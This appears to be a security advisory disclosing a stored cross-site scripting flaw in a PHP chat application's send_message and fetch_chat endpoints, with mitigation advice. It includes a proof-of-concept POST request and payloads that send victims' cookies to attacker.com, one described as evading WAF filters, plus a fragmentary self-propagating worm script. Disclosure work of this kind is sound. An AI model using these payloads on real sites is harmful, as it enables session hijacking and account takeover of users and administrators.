higordiego / **VULN-003-stored-xss-send-message.md** Secret

Created 3 weeks ago

Code Revisions 1

VULN-003-stored-xss-send-message.md

Affected Version:

- **Product:** Chat System Using PHP
- **Version:** 1.0
- **Vendor:** code-projects.org
- **Type:** Web Application
- **Language:** PHP
- **Database:** MySQL

Vulnerability Information:

- **Vulnerability Type:** Stored Cross-Site Scripting (XSS)
- **CWE:** CWE-79 (Improper Neutralization of Input During Web Page Generation)
- **Severity:** HIGH
- **CVSS v3.1 Score:** 8.7
- **CVSS v3.1 Vector:** `CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N`
- **Attack Vector:** Network
- **Attack Complexity:** Low
- **Privileges Required:** Low (valid session required to send message)
- **User Interaction:** Required (victim must open the chatroom)
- **Status:** Unpatched

Vulnerable Endpoint:

- **Injection Point:** `/admin/send_message.php` — POST parameter `msg`
- **Execution Point:** `/admin/fetch_chat.php` — renders stored `message` and `uname` without escaping

---

Vulnerability Description:

A **Stored (Persistent) Cross-Site Scripting vulnerability** was discovered in the **real-time chat messaging functionality** of **Chat System Using PHP version 1.0**, available at code-projects.org.

The attack operates across two files forming a complete injection-execution chain:

Injection — `send_message.php`: The `msg` parameter from `$_POST` is stored directly into the `chat` table without any sanitization, HTML encoding, or input validation:

```
$msg = $_POST['msg'];
mysqli_query($conn, "insert into `chat` (chatroomid, message, userid, chat_da
```

Execution — `fetch_chat.php`: When any user loads the chatroom, all stored messages are retrieved and rendered using bare `echo` statements — no `htmlspecialchars()`, `htmlentities()`, or output encoding of any kind:

```
echo $row['message'];  // ← stored XSS payload executes here
echo $row['uname'];    // ← username field also unescaped
```

Because the payload is **persisted in the database**, it executes in the browser of **every user** — including administrators — who opens the chatroom, for as long as the message record exists. A single injection creates a persistent, self-propagating attack surface.

An attacker with a valid session (any registered user) can:

- **Steal session cookies** of all users and administrators via `document.cookie`.
- **Perform admin actions** on behalf of compromised users (CSRF-via-XSS).
- **Redirect victims** to phishing or malware distribution pages.
- **Create a self-propagating worm** by injecting payloads that automatically send themselves as new messages.

- **Install persistent keyloggers** to capture every keystroke of every chat user.
- **Deface the chat interface** permanently until the database record is manually removed.

Proof of Concept (PoC):

Below is a **POST** request demonstrating the vulnerability by injecting a persistent cookie-stealing XSS payload:

```
POST /admin/send_message.php HTTP/1.1
Host: localhost:8081
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=48068ce7875c00d88ca3aa2b9269b91f
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101
Firefox/115.0
Referer: http://localhost:8081/admin/chatroom.php?id=1
Connection: keep-alive

msg=<script>fetch('http://attacker.com/steal?c='+btoa(document.cookie))
</script>&id=1
```

Explanation:

This payload injects the JavaScript:

```
<script>fetch('http://attacker.com/steal?c='+btoa(document.cookie))</script>
```

The `btoa()` function Base64-encodes the cookie string before exfiltration, bypassing simple WAF string-matching rules. The payload is stored in the `chat.message` column and executed each time `fetch_chat.php` renders the chatroom.

Self-propagating worm payload — automatically resends itself to all chatrooms:

```
<script>
var xhr=new XMLHttpRequest();
xhr.open('POST','/admin/send_message.php',true);
xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
```

```
xhr.send('msg=<script>'+encodeURIComponent(document.currentScript.outerHTML)+
</script>
```

Alternative payload bypassing basic `<script>` filters:

```
<img src=x onerror="fetch('http://attacker.com/?c='+document.cookie)">
```

Impact:

- **Session Hijacking:** Active session cookies of all users — including admins — exposed to the attacker upon chatroom access.
- **Persistent Attack Surface:** Payload survives server restarts; active until database record is manually deleted.
- **Full Admin Compromise:** Admin session theft via stored XSS grants complete application control.
- **Wormable XSS:** Payload can autonomously propagate across chatrooms and users.
- **Phishing:** All users can be silently redirected to attacker-controlled pages.
- **Keylogging:** Browser-based keyloggers installed on every affected user's session.
- **Chained Impact:** Combined with VULN-001, stolen admin session enables database destruction without any further credentials.

References:

- Chat System Using PHP - code-projects.org
- CWE-79: Cross-Site Scripting
- OWASP: XSS Prevention Cheat Sheet
- CVSS v3.1 Calculator

Mitigation Recommendations:

1. **Escape All Output:** Wrap every database-sourced value with `htmlspecialchars($value, ENT_QUOTES, 'UTF-8')` before echoing in `fetch_chat.php`.

2. **Sanitize Input on Storage:** Apply `strip_tags()` or `htmlspecialchars()` to `$_POST['msg']` in `send_message.php` before inserting into the database.
3. **Content Security Policy (CSP):** Deploy a strict CSP header: `Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'` to block inline script execution.
4. **HTTPOnly Session Cookies:** Set `session.cookie_httponly = 1` and `session.cookie_secure = 1` in `php.ini` to prevent JavaScript access to session tokens.
5. **Fix Concurrent SQLi:** Resolve the SQL Injection in `send_message.php` simultaneously using prepared statements to prevent compounded exploitation.
6. **Message Length Enforcement:** Enforce a server-side maximum message length (e.g., 500 characters) to limit payload size.
7. **Output Context Awareness:** Use a templating engine (e.g., Twig, Blade) with auto-escaping enabled to prevent future XSS across all output contexts.